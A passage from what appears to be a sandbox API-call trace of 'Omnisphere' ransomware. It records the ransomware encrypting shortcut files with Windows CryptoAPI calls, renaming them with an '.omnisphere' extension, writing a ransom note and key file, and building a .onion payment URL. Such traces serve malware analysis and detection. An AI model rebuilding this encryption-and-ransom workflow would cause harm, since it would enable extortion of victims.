Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.112] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.112] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.112] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.112] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.112] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.112] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.112] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.112] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.112] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.112] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.112] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.112] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.112] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.112] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.112] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.112] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.112] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.112] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.113] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.113] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.113] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.113] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.113] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.113] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.113] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.113] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.113] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.113] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.114] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.114] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.114] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.114] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.114] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.114] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.114] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.114] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.114] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.114] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.115] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.115] CryptDestroyKey (hKey=0x16394e8) returned 1 [0120.115] CryptReleaseContext (hProv=0x1668a38, dwFlags=0x0) returned 1 [0120.115] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x404, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0120.115] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0120.115] GetProcessHeap () returned 0x1600000 [0120.115] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2c0) returned 0x16bcdd8 [0120.115] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\F56ebCujkg0rfON4Q6c.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\f56ebcujkg0rfon4q6c.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\F56ebCujkg0rfON4Q6c.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\f56ebcujkg0rfon4q6c.lnk.omnisphere")) returned 1 [0120.116] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\F56ebCujkg0rfON4Q6c.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\F56ebCujkg0rfON4Q6c.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\F56ebCujkg0rfON4Q6c.lnk.omnisphere.id" [0120.116] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\F56ebCujkg0rfON4Q6c.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\f56ebcujkg0rfon4q6c.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0120.117] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0120.118] CloseHandle (hObject=0x3c0) returned 1 [0120.118] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0120.118] CloseHandle (hObject=0x288) returned 1 [0120.118] SetEndOfFile (hFile=0x28c) returned 1 [0120.118] FlushFileBuffers (hFile=0x28c) returned 1 [0120.125] CloseHandle (hObject=0x28c) returned 1 [0120.125] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\F56ebCujkg0rfON4Q6c.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0120.126] GetProcessHeap () returned 0x1600000 [0120.126] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16c0af0 [0120.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0120.126] GetProcessHeap () returned 0x1600000 [0120.126] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b1b90 [0120.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b1b90, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0120.126] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0120.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0120.126] GetProcessHeap () returned 0x1600000 [0120.126] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16b00e8 [0120.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16b00e8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0120.126] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0120.126] GetProcessHeap () returned 0x1600000 [0120.126] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16beeb0 [0120.126] PathCombineW (in: pszDest=0x16beeb0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0120.126] GetProcessHeap () returned 0x1600000 [0120.126] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16c6128 [0120.126] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.127] WriteFile (in: hFile=0x28c, lpBuffer=0x16c6128*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16c6128*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0120.127] CloseHandle (hObject=0x28c) returned 1 [0120.127] GetProcessHeap () returned 0x1600000 [0120.127] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16c0af0 | out: hHeap=0x1600000) returned 1 [0120.127] GetProcessHeap () returned 0x1600000 [0120.127] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0120.127] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0120.127] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.127] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0120.128] CloseHandle (hObject=0x28c) returned 1 [0120.128] GetProcessHeap () returned 0x1600000 [0120.128] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0120.128] GetProcessHeap () returned 0x1600000 [0120.128] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16bf808 | out: hHeap=0x1600000) returned 1 [0120.128] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x221c1beb, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x221c1beb, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x221c1beb, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3b2, dwReserved0=0x0, dwReserved1=0xd3, cFileName="F76nMw.lnk", cAlternateFileName="")) returned 1 [0120.128] GetProcessHeap () returned 0x1600000 [0120.128] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x96) returned 0x167b768 [0120.128] PathCombineW (in: pszDest=0x167b768, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="F76nMw.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\F76nMw.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\F76nMw.lnk" [0120.128] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0120.128] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\F76nMw.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\f76nmw.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.128] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=946) returned 1 [0120.128] GetTickCount () returned 0x115e02b [0120.129] GetTickCount () returned 0x115e02b [0120.129] GetTickCount () returned 0x115e02b [0120.129] GetTickCount () returned 0x115e02b [0120.130] GetTickCount () returned 0x115e03b [0120.132] GetTickCount () returned 0x115e03b [0120.132] GetTickCount () returned 0x115e03b [0120.132] GetTickCount () returned 0x115e03b [0120.132] GetTickCount () returned 0x115e03b [0120.132] GetTickCount () returned 0x115e03b [0120.132] GetTickCount () returned 0x115e03b [0120.132] GetTickCount () returned 0x115e03b [0120.132] GetTickCount () returned 0x115e03b [0120.132] GetTickCount () returned 0x115e03b [0120.132] GetTickCount () returned 0x115e03b [0120.132] GetTickCount () returned 0x115e03b [0120.132] GetTickCount () returned 0x115e03b [0120.132] GetTickCount () returned 0x115e03b [0120.132] GetTickCount () returned 0x115e03b [0120.132] GetTickCount () returned 0x115e03b [0120.132] GetTickCount () returned 0x115e03b [0120.132] GetTickCount () returned 0x115e03b [0120.133] GetTickCount () returned 0x115e03b [0120.133] GetTickCount () returned 0x115e03b [0120.133] GetTickCount () returned 0x115e03b [0120.133] GetTickCount () returned 0x115e03b [0120.133] GetTickCount () returned 0x115e03b [0120.133] GetTickCount () returned 0x115e03b [0120.133] GetTickCount () returned 0x115e03b [0120.133] GetTickCount () returned 0x115e03b [0120.133] GetTickCount () returned 0x115e03b [0120.133] GetTickCount () returned 0x115e03b [0120.133] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668ac0) returned 1 [0120.134] CryptImportKey (in: hProv=0x1668ac0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639528) returned 1 [0120.134] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0120.134] CryptDestroyKey (hKey=0x1639528) returned 1 [0120.134] CryptReleaseContext (hProv=0x1668ac0, dwFlags=0x0) returned 1 [0120.134] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b2, lpName=0x0) returned 0x288 [0120.134] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b2) returned 0x1480000 [0120.134] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668570) returned 1 [0120.135] CryptImportKey (in: hProv=0x1668570, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16396a8) returned 1 [0120.135] CryptSetKeyParam (hKey=0x16396a8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0120.135] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0120.135] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.135] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.135] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.135] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.135] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.136] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.136] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.136] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.136] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.136] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.136] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.136] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.136] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.136] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.136] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, 